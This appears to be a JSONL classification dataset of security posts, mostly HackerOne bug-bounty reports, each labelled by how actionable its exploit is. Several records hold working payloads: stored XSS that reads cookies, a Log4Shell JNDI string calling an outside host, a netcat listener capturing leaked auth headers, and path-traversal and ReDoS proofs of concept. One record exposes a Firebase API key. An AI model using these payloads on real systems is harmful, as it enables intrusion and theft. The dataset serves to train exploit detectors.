Pin objects\n\n{F2351238}\n7.Click on Apply\n\n## Steps To Reproduce:\nIn Browser B, go to the room created by the attacker or you can use mine: https://quikke.dev.myhubs.net/eE97EwL/quikke-test-server . Join the meeting and noticed that only the Chat option is available. Open the chat and follow the below steps to create different objects with different settings:\n\n###Add command -  spawn object\n= Spawn a duck into the hub as a none admin. Users will still have the ability to open a menu to delete the duck\n  1. Enter the following in the chat `/add https://quikke.assets.dev.myhubs.net/hubs/assets/models/DuckyMesh-b80f0ece1f58a683839a..glb`\n\n{F2351241}\n\n###Add command -  spawn object with--no-menu flag\n= Spawn a duck into the hub as a none admin that cannot be removed\n  1. Enter the following in the chat `/add --no-menu https://quikke.assets.dev.myhubs.net/hubs/assets/models/DuckyMesh-b80f0ece1f58a683839a..glb`\n\n{F2351244}\n\n###Add command Youtube video --no-menu\n= Add a youtube video into the hub as a none admin that cannot be removed\n  1. Enter the following in the chat `/add --no-menu https://www.youtube.com/watch?v=dQw4w9WgXcQ`\n\n{F2351250}\n\n**Note** The video cannot be stopped and spawned unlimited amount of times. Nor can the video be removed.\n\n## Extra - Spectator\nThe same can also be done via spectator that did not join the room. In the JS file: webpack://hubs/src/message-dispatch.js , the following lines are just checked client side:\n\n```javascript\ndispatchCommand = async (command, ...args) => {\n    const entered = this.scene.is(\"entered\");\n    uiRoot = uiRoot || document.getElementById(\"ui-root\");\n    const isGhost = !entered && uiRoot && uiRoot.firstChild && uiRoot.firstChild.classList.contains(\"isGhost\");\n\n    // TODO: Some of the commands below should be available without requiring room entry.\n    if (!entered && (!isGhost || command === \"duck\")) {\n      this.log(LogMessageType.roomEntryRequired);\n      return;\n    }\n```\n\nWhen enabling the debugging modus in Chrome browser, we are able to set `const entered = this.scene.is(\"entered\");` to `const entered=true`. This will allows us to execute all above commands without entering the room. \n\n## Extra - SSRF\nWhen adding our own server to the `/add` command, we can see several pingbacks coming in from the backend:\n\n{F2351261}\n\nCurrently, still figuring out if this can be further exploited.\n\n## Impact\n\nAn attacker is able to place different kinds of objects while the admin user specifically disables the creation of objects inside the room. The server does not validate the access control rules of the room when calling the websockets requests to create an object.\n\nExample:\nWhen you join the discord of the Mozilla Hubs community, you will notice that there are di", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0678a78d64b9f20ea4ab", "text": "[Cross-site Scripting (XSS) - Stored] Site information's Display Name section vulnerable for XSS attacks and HTML Injections.\n\n## Summary:\n\nHi, \n\nGreetings. I have found that site information's Display Name section on the try.pressable.com is vulnerable for potential  XSS attacks and HTML Injections.\n\n## Steps To Reproduce:\n1. Visit https://try.pressable.com\n2. Create a new site.\n3. On the  Display Name section, put the XSS / HTML Injection payloads.\n4. XSS will be triggered/ Injected HTML will be reflected.\n\nXSS Payload:  \"><img src=x onerror=javascript:alert(document.cookie)>\n\nHTML Payload: \n<form action=\"/action_page.php\">\n<label for=\"fname\">First name:</label>\n<input type=\"text\" id=\"fname\" name=\"fname\"><br><br>\n<label for=\"lname\">Last name:</label>\n<input type=\"text\" id=\"lname\" name=\"lname\"><br><br>\n<input type=\"submit\" value=\"Submit\">\n</form>\n\n## Supporting Material/References:\nPOC Video attached\n\n## Impact\n\nDue to these vulnerabilities, attacker can easily divert victims to their malicious site and able to get credentials of victims.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "86203e57a72b6ba1200f", "text": "netstat -l4t | awk ‘{print $4, $6}’ | grep 0.0.0.* | wc -l", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3576b721a84f388aff9b", "text": "[Path Traversal] Filesystem experimental permissions policy does not handle path traversal cases.\n\nConsider the following command on Node v20.0.0:\n```\nnode --experimental-permission --allow-fs-read=* --allow-fs-write=/home/kali/restricted/ poc.js\n```\nThis command is intended to restrict write access to only files present in the directory /home/kali/restricted\n\nHowever if we have the following poc.js:\n```\nconst fs = module.require('fs')\nfs.writeFileSync(\"/home/kali/restricted/../secret.txt\", \"Target Overwritten!\")\n```\nThis apparently matches the directory /home/kali/restricted/ directory check and then writes to /home/kali/secret.txt (by using ../), which is not intended, bypassing the experimental permission policy for files.\n\n## Impact\n\nPath traversal when checking experimental file permission policy", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "847c5f8fe3579580f6a1", "text": "[Cryptographic Issues - Generic] CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 comparison disaster\n\n## Summary:\n`CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256` base64 encoded host fingerprint is compared case-insensitive by accident. This means that it is technically possible (however still difficult) to create forged ssh host key that matches in this comparison.\n\nThe bug appears to have been introduced when adding `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256`  support, and then copying the case insensitive comparison of the string for` CURLOPT_SSH_HOST_PUBLIC_KEY_MD5` (where it is appropriate since the MD5 fingerprint is a hex string).\n\nThis bug as added by commit https://github.com/curl/curl/commit/d1e7d9197b7fe417fb4d62aad5ea8f15a06d906c\n\n## Impact\n\nHost identify spoofing", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "35e680a8e228098576cc", "text": "You should either check if the login failed page has this keyword andadd the -f flag so that hydra will terminate on the first successful attempt.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-03-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ce1cc9dfed337d3d996", "text": "Pdf-jpgs\n\nHi guys. Can everyone help me: Two images that look completely ordinary are pasted in the PDF file, and it is highly unlikely that these files are normal. find a flag in PDF file. flag format:flag{[A-Za-z_]} File: https://ctf.laocert.la/download?file_key=2ae22faf6141dcd80543c3b183a5c6b453294ad49726507f2c8bc20919ed4ebf&team_key=dd89c8b4f94a963a02b496fec932dbb83ecc66561284a4906fd9c8fdc3fcaf46", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "95ec1ea360d5614731e1", "text": "[Improper Authentication - Generic] Improper Authentication via previous backup code login\n\nHI Basecamp,\n\nI would like to report Improper Authentication in basecamp. Attacker is able to login at victim account once victim update his password.\n\n\nattacker knows with victims email `█████████` password `uhn)(*123HH`\nvictim updates his password          `uhn)(*123HHjcc`\n\nStep To Reproduce\n\n==Attacker==\n\n- Step1 attacker know victim password and logs in\n\n- Step2 attacker enables 2fa in victims account.\n\n- Step3 attacker logs out and login back in victim account, 2fa will be prompter, attacker gaves 2fa backup code and send request to repeater and captures the response.\n██████\n\n- Step4 attacker now removes 2fa from victim account and logout.\n\n\n==Victim==\n\n- Step5 victim logs in and `changes password.` from `uhn)(*123HH`to  `uhn)(*123HHjcc`\n\n==Attacker==\n\n- Step6 attacker logins in `victim account` with ==previous known password== and changes ==Step6 response with  Step3 response.==\n\n- Attacker logged in victims account even he dose not know new password of victim.\n\n\n\nVideo POC attached for your reference.\n████\n\n\nThanks,\n@fuzzsqlb0f\n\n## Impact\n\nImproper Authentication.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a86a2e49ae9baba7cedc", "text": "[Command Injection - Generic] LOGJ4 VUlnerability [HtUS]\n\n**Description:**\nHi team,\n\nlog4 shell is recent 0-day exploit it's Java package vulnerable. █████ is vulnerable\n\n**Impact**\n\nRCE\n\n**System Host(s)**\n\n██████\n\n**Affected Product(s) and Version(s)**\n\n**CVE Numbers**\n\nCVE-2021-44228\n\n**Steps to Reproduce**\n\n1. Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}\n2. paste the poc code on parameter\n3. Then burp collaborator received reverse ping back\nPhotos below\n\n**POC CODE**\n${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}\n\n**Suggested Mitigation/Remediation Actions**\nhttps://www.lunasec.io/docs/blog/log4j-zero-day/\n\n## Impact\n\nSuccessful attack leads Arbitary Code Execution on the application", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-44228"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8d1896c4a0e5cc587cdd", "text": "[Insufficiently Protected Credentials] CVE-2022-27776: Auth/cookie leak on redirect\n\n## Summary:\nCurl can be coaxed to leak Authorisation / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).\n\n## Steps To Reproduce:\n\n1. Configure for example Apache2 to perform redirect with mod_rewrite:\n   ```\n   RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n   RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]\n    ```\n  ... the attacker could also use `.htpasswd` file to do so.\n  2. Set up netcat to listen for the incoming secrets:\n    `while true; do echo -ne 'HTTP/1.1 404 nope\\r\\nContent-Length: 0\\r\\n\\r\\n' | nc -v -l -p 9999; done`\n  3. `curl-L -H \"Authorization: secrettoken\" -H \"Cookie: secretcookie\" https://hostname.tld/redirectpoc`\n \nThe redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:\n```\nGET / HTTP/1.1\nHost: hostname.tld:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\nAuthorization: secrettoken\nCookie: secretcookie\n```\n\nThe attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.\n\nThis vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.\n\nThis bug appears to be here: https://github.com/curl/curl/blob/master/lib/http.c#L1904\n\n## Impact\n\nLeak of Authorisation and/or Cookie headers.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27776", "CVE-2022-27774"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c6980282be79030d00f7", "text": "[Misconfiguration] unclaimed subdomain special.rkeeper.ru  to takeover from tilda.cc\n\nDomain, site, application\n--\nhttp://special.rkeeper.ru/\n\nTesting environment\n--\n*OS version, browser information, settings and prerequisites to reproduce vulnerability, testing tools used, etc*\n\nSteps to reproduce: \n1. create account on tilda.cc\n1. create a aproject then a domain will be assigned to your project like that `http://project3087915.tilda.ws` \n1. then go to settings and add domain special.rkeeper.ru \n\nPOC :\nhttp://special.rkeeper.ru/\n\n--\nExpected results, security impact description and recommendations\n--\n\n\n\nregards ^^\n\n## Impact\n\ncan be used to bypass CORS and steal user data  \nbypass SSO", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "77576f8b7b6a502bdc4b", "text": "[Improper Authentication - Generic] OAUTH2 bearer not-checked for connection re-use\n\nlibcurl might reuse OAUTH2-authenticated connections without properly making\nsure that the connection was authenticated with the same credentials as set\nfor this transfer. This affects SASL-enabled protcols: SMTP(S), IMAP(S),\nPOP3(S) and LDAP(S) (openldap only).\n\nlibcurl maintains a pool of connections after a transfer has completed. The\npool of connections is then gone through when a new transfer is requested and\nif there's a live connection available that can be reused, it is preferred\ninstead of creating a new one.\n\nA connection that is successfully created and authenticated with a user name +\nOAUTH2 bearer could subsequently be reused even for user + [other OAUTH2\nbearer], even though that might not even be a valid bearer. This could lead to\nan authenticion bypass, either by mistake or by a malicious actor.\n\nThe problem can be demontrated using an imap server supporting OAUTH2 authentication using command:\n\n`curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything`\n\nNote:\nThis vulnerability has been assigned CWE-305 \"Authentication Bypass by Primary Weakness\" that is not selectable on the current IBB form.\n\n## Impact\n\nUnauthorized access.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f20b45ea40bc2eba779b", "text": "[Improper Access Control - Generic] Huge amount of Subdomains Takeovers at Reddit.com\n\n**NOTE:** Please Don't close this Report as Informative/NA or Dup.\n\nHello Reddit team regards,\n\nI got huge amount of Subdomain Takeovers at Reddit:\n\nPoc Video is attached.\n\n## Impact\n\nSubdomain Takeovers at Reddit", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7544d04f58766cb0fa70", "text": "Updated Nmap Cheat Sheet for 2023!\n\nAnd the updated Nmap Cheat Sheet for 2023! Nmap Cheat Sheet 2023: All the Commands, Flags & Switches StationX – 13 Dec 22 Nmap Cheat Sheet 2023: All the Commands, Flags & Switches Discover the most useful nmap scanning, enumeration, and evasion commands with our comprehensive Nmap cheat sheet and take your hacking to the next level. Have fun!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2603ad417b0ded35066f", "text": "[Uncontrolled Resource Consumption] RDoc::MethodAttr is vulnerable to Regular Expression Denial of Service (ReDoS)\n\nThe method `block_params` in class `RDoc::MethodAttr` uses a regular expression that is vulnerable to Denial of Service due to catastrophic backtracking.\n\nThe regular expression is:\n```\n([A-Z:a-z0-9_]+)\\.([a-z0-9_]+)(\\s*\\(\\s*[a-z0-9_.,\\s]*\\s*\\)\\s*)?\n```\nSource: https://github.com/ruby/ruby/blob/master/lib/rdoc/method_attr.rb#L265\n\nThe ReDoS requence is: `(\\s*\\(\\s*[a-z0-9_.,\\s]*\\s*\\)\\s*)`. It contains three overlapping repeating groups (repeated characters are 0x20, 0xa0, [09-0d]), so the worst-case complexity is cubic as there are 3 infinitely repeating groups. Cubic complexity here means that if the vulnerable part of the string is doubled in length, the execution time should be about 8 times longer (2^3).\n\n# PoC\n\nI have not found a way to exploit this vulnerability directly from the file documentation (by running rdoc), however directly it is very easy:\n\n```ruby\nuse 'rdoc'\nRDoc::MethodAttr.new(nil, nil).block_params = '0.0(' + ' '*3456 + '0'\n```\n\nThe client's code that relies on `AnyMethod` is also vulnerable since it inherits `MethodAttr`:\n\n```ruby\nuse 'rdoc'\nRDoc::AnyMethod.new(nil, nil).block_params = '0.0(' + ' '*3456 + '0'\n```\n\nIf an attacker  provides a malicious string to `AnyMethod|MethodAttr`'s `block_params` documentation parser, it will get stuck processing the input for an extremely long time, consuming 100% CPU.\n\n## Impact\n\nAn attacker could cause an effective denial of service, by crafting an input which exploits catastrophic backtracking for the regular expression.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c3f468b79f9b1e37a4e5", "text": "[Improper Access Control - Generic] admin.8x8.vc: Member users with no permission can integrate email to connect calendar via GET /meet-external/spot-roomkeeper/v1/calendar/auth/init?..\n\nDear Team,\n\nGreetings!!!\n\nI have observed an Improper access control Issue. Member users do not have permission to rooms area of the admin section. But member users can exploit this via GET /meet-external/spot-roomkeeper/v1/calendar/auth/init?successRedirectUrl=https%3A%2F%2Fadmin.8x8.vc%2F%23%2Frooms%2Fadd HTTP/2\n\nSteps to reproduce\n**Step1**: Member users do not have access to the room's area.\nUse {F1625870}\n\n**Step2**: Admin users can add their email to sync calendars from this area.\nUse {F1625869}\n\n**Step3**: From member user's JWT send a request to below endpoint\nUse ██████\n\n```\nGET /meet-external/spot-roomkeeper/v1/calendar/auth/init?successRedirectUrl=https%3A%2F%2Fadmin.8x8.vc%2F%23%2Frooms%2Fadd HTTP/2\nHost: admin.8x8.vc\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://admin.8x8.vc/\nContent-Type: application/json\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\nAuthorization: <Member user's JWT>\n```\n\n**Step4**: You will receive the Link as below from the above endpoint: \n```\n{\"url\":\"https://app.cronofy.com/oauth/authorize?response_type=code&client_id=M0wBDPDXk6EQLaGCqp-pTN_VGt7_AtM9&redirect_uri=https://api-vo.jitsi.net/rosy/sso/cronofy/callback&scope=read_only&delegated_scope=read_only&state=███████&avoid_linking=true\"}\n```\n\n**Step5**: Now use this link and complete the OAuth sign up. (There is no validation and the application will allow you to add your email)\nUse {F1625872}\n\n**Step6**: Member user successfully added his/her email into admin's room area\nUse ███\n\nBest regards,\nEmperor\n\n## Impact\n\n- Member users with no permission can integrate email to connect calendar", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d24aceba71f3267c2a5f", "text": "[Information Disclosure] firebase credentials leaks @ ███████\n\nHello.\nI found firebase credentials leaks at ████.\n\n\n## Steps To Reproduce:\nVisit █████ >> Right click >> view source code.\n\n\n\n## Supporting Material/References:\n\n <script>\n      // Your web app's Firebase configuration\n      // For Firebase JS SDK v7.20.0 and later, measurementId is optional\n      var firebaseConfig = {\n        apiKey: \"AIzaSyBZtK5_-J1DFWLBFpLBIOkeK9D8ZDfqJ3g\",\n        authDomain: \"██████\",\n        databaseURL: \"█████\",\n        projectId: \"quizgame-4f2e3\",\n        storageBucket: \"██████\",\n        messagingSenderId: \"██████████\",\n        appId: \"1:████████:web:923994d50811422213a052\",\n        measurementId: \"G-N94D6VRGVG\"\n      };\n      // Initialize Firebase\n      firebase.initializeApp(firebaseConfig);\n      firebase.analytics();\n    </script>\n\n## Impact\n\nUn authorize access to firebase database.\n\nKind regard\n@█████████", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c298144ecf420401a8f", "text": "image 834×496 197 KB I’m not sure, why am I not able to ssh into htb-student?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1b6000b8b4fa3137e2b9", "text": "[Cross-site Scripting (XSS) - Stored] Cross-site scripting on algorithm collaborator\n\nHi again my favorite VDP team. I bring you 8th bug and 4th cross-site scripting. Currently trying to upload python code via self-serve data, not looking for XSS'es only, but they're a thing still, right?\n\n**Summary:**\nBy sending specially crafted websockets request attacker can run javascript in algorithm collaborator's web browser\n\n**Description:**\nThis is actually quite a funny bug. Some time ago when I was testing algo debugger, i noticed that there is a request to */algorithms/algoid/x* which usually happens when i try to insert html's <img src=x>. But since some time your cloudflare became more strict and adding inline scripts in request might result in 403 Forbidden, so i remove them and try without them. But at that time i couldn't find the image that caused that request. I sent that to Chris.\nToday i was trying to test against debugger again. The purpose wasn't to find XSS, but i spammed XSS payloads alongside with some different stuff. And again that request to page *X*. And i noticed that debugger removed part of my payload which contained image. That's it! That should be the vulnerable place. \nHowever typing html entity in it didn't produce anything. And html was injected only on my side, not the other collaborator's. So i decided to take a look at the websocket request that sends it\nIt turned out that HTML's <> and other entities were encoded. So i tried intercepting the websockets request and enter <img src=x onerror=alert(1)> and it worked not only on me, but on collaborator as well.\nSo is it TogetherJS library that is in charge of websockets? I think you might need to encode payloads server-side to avoid this kind of things. I would be glad to help you test the fix for this.\n\n\n## Steps To Reproduce:\n\n\n  1. Intercept websockets message like this (debugger input update)\n{F509648}\n  2. Replace value with raw html/javascript\n  3. Send the message. Payload will work in collaborator's browser\n\n\n## Test account information\n\nirisrumtub+hackerone@mail.ru\ntvburis+hackerone@gmail.com\n\n## Impact\n\nRun javascript in victim's browser", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9b0273934c692e2de220", "text": "msfconsole not importing new custom private modules into the db\n\nAfter following every importation steps from the rapid7 doc correctly msfconsole is still not importing my private modules into the database. The steps I am taking are mkdir -p /root/.msf4/modules/exploits/name/name then I copy with cp -r my code from the dir where it is and after that I ran updatedb.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-01-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c3b3f0c93f2a5e77cd5e", "text": "[Misconfiguration] Subdomain takeover on 'de-headless.staging.gymshark.com'\n\nThe Gymshark subdomain https://de-headless.staging.gymshark.com/ was pointing to an unclaimed Shopify site. Because of this an attacker could claim this subdomain, via Shopify, and serve their own content.\n\nThis is extremely dangerous as an attacker could serve any malicious content on this domain such as malware, domain defacement, phishing campaigns etc. \n\nAlso, phishing victims wouldn't be able to identify the maliciousness of a potential phishing campaign because it would be from a valid Gymshark subdomain.\n\n**Note:** *I have temporarily claimed this domain for PoC and have password protected the site to reduce unnecessary impact to others. I am happy to remove this protection if you require further takeover evidence*.\n\n## Remediation\n- Remove the CNAME record for Shopify on 'de-headless.staging.gymshark.com'.\n- I can release 'de-headless.staging.gymshark.com' for reclaim if needed.\n\n## PoC Link\nhttps://de-headless.staging.gymshark.com/\n\n## PoC Evidence\n{F1954064}\n{F1954066}\n{F1954069}\n{F1954070}\n\nThanks, A-p0c\n\n## Impact\n\nIf an attacker controlled https://de-headless.staging.gymshark.com/ they could host any malicious content they wanted, such as malware, defacement, a convincing phishing campaign", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4aeb8334818a3bf55cda", "text": "[Unknown] (CVE-2023-32006) Permissions policies can impersonate other modules in using module.constructor.createRequire()\n\nhttps://nodejs.org/en/blog/vulnerability/august-2023-security-releases#permissions-policies-can-impersonate-other-modules-in-using-moduleconstructorcreaterequire-mediumcve-2023-32006\n\nhttps://hackerone.com/reports/2043807\n\nPatch was provided about maintainer opted for different approach.\n\n## Impact\n\nsee reports", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-32006"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0bd132b35aee39d46ef0", "text": "[Improper Access Control - Generic] S3 Bucket Takeover : brave-apt\n\nHi Team,\n\nHope Everything is going well on your side.\n\nRecently I was enumerating `brave.com` and I found that there is an unclaimed S3 bucket that can be takeover by any attacker and was being used in the installation of brave-browser in Linux distros.\n\nVulnerable URL:-\n\nhttps://s3-us-west-2.amazonaws.com/brave-apt/\n\nHere there is an S3 Bucket that is pointing towards domain hosting services so that these domains can be taken over can be used to do any type of attack mostly I can make a fake login page on your behalf and spoof your users; this is a critical vulnerability and needs to be fixed. In this case, it was pointing toward an unclaimed S3-Bucket.\n\n-->POC:-\n\nCheck out the attachments for more information I have claimed the subdomain through AWS S3 services. As soon as you will resolve this issue, I will release it.\n\n {F2060639}\n\nI have uploaded proof.txt for further clarification.\n\nAlso, Bucket Takeover screenshots are attached.\n\n--> Before Takeover\n {F2060641} \n\nAWS \n {F2060640}\n\n\n--> URL:-\n\n`https://s3-us-west-2.amazonaws.com/brave-apt/proof.txt`\n\n\n--> Steps To Reproduce:-\n\n1) Go to any of the below-mentioned URLs\n\n`https://community.brave.com/t/updates-on-linux-error-messages-appearing/103564`\n`https://elementaryforums.com/index.php?threads/brave-browser.2390/`\n`https://github.com/brave/browser-laptop/issues/13861`\n`https://github.com/brave/browser-laptop/issues/12636`\n`https://forums.linuxmint.com/viewtopic.php?t=300633`\n\n2) Here you can find the `https://s3-us-west-2.amazonaws.com/brave-apt/` the S3 bucket is used for downloading brave-browser in linux distros.\n\n3) Many users who visit the webpage to see how to install brave-browser in Linux will be redirected to the S3-Bucket, which is controlled by the attacker.\n\n--> Video POC:-\n\n{F2060642}\n\n## Impact\n\nAn attacker can take over the unclaimed s3 bucket and can spread the malware using this release of brave browser then, an attacker can create a malicious file with custom payloads and can harm the user by downloading the malicious file instead of the original file.\n\n\n--> References:-\n\nhttps://hackerone.com/reports/1316650\n\nhttps://blog.sweepatic.com/subdomain-takeover-principles/\n\nhttps://hackerone.com/reports/32825\n\nhttps://hackerone.com/reports/175070\n\nhttps://hackerone.com/reports/172137\n\nhttps://github.com/EdOverflow/can-i-take-over-xyz", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7fc9a4635ede2624b2c8", "text": "Stuck on Elasticity for several days. Could someone give me an small hint please? Any help will be appreciated.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "eb0089884b83cdc675f5", "text": "[Cross-site Scripting (XSS) - Generic] XSS vulnerability without a content security bypass in a `CUSTOM` App through Button tag\n\n## Summary:\nHi security team members,\n\nHope you are well and doing great :)\n\nI found a **Possible XSS vulnerability in `CUSTOM` App through the Button tag but I was not able to bypass a content security policy.**\n\nThis report is similar to my previous report(#1804177). The only difference is that the previous issue I found on a live Stripe App(which uses a `Link` tag maybe). But, here in this report \"I found it possible to create an XSS vulnerability with the help of the `Button` tag\".\n\n## Description:\n**This occurs when you create a CUSTOM app with the Button tag**. Like:- `<Button href=\"javascript://%0aalert(document.domain)\">XSS</Button>`\n\n## Steps To Reproduce:\n1. Create a demo Custom app through stripe-cli\n2. Replace your viewport with `\"viewport\": \"stripe.dashboard.drawer.default\"` in `stripe-app.json`, So the app works on every page in the dashboard\n3. Copy and paste the below code into your `App.tsx` file\n```\nimport { Box, ContextView, Inline, Link } from \"@stripe/ui-extension-sdk/ui\";\nimport type { ExtensionContextValue } from \"@stripe/ui-extension-sdk/context\";\nimport {Button} from '@stripe/ui-extension-sdk/ui';\nimport {Img} from '@stripe/ui-extension-sdk/ui'\nimport {Chip, ChipList} from '@stripe/ui-extension-sdk/ui';\n\nimport BrandIcon from \"./brand_icon.svg\";\n\n/**\n * This is a view that is rendered in the Stripe dashboard's customer detail page.\n * In stripe-app.json, this view is configured with stripe.dashboard.customer.detail viewport.\n * You can add a new view by running \"stripe apps add view\" from the CLI.\n */\n\nconst App = ({ userContext, environment }: ExtensionContextValue) => {\n  return (\n    <ContextView\n      title=\"XSS POC\"\n      brandColor=\"#F6F8FA\" // replace this with your brand color\n      brandIcon={BrandIcon} // replace this with your brand icon\n    >\n\t  \n\t  <Button href=\"javascript://%0aalert(123)\">\n\t\tXSS with %0a\n\t  </Button>\n\t  <Button href=\"javascript://%0dalert(document.domain)\">\n\t\tXSS with %0d\n\t  </Button>\n\t  \n    </ContextView>\n  );\n};\n\nexport default App;\n```\n3. Then, Run and Open your app\n4. Once you open your app then after click on the button link. It will doesn't execute because of CSP.\n{F2106779}\n\n5. But, If you turn off your CSP protection with the help of an [extension](https://chrome.google.com/webstore/detail/disable-content-security/ieelmcmcagommplceebfedjlakkhpden) then XSS will execute.\n{F2106780}\n\n## Video POC:\n{F2106781}\n\n## Impact\n\nIf an attacker is able to bypass CSP then there is a possible stored XSS vulnerability in https://dashboard.stripe.com.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
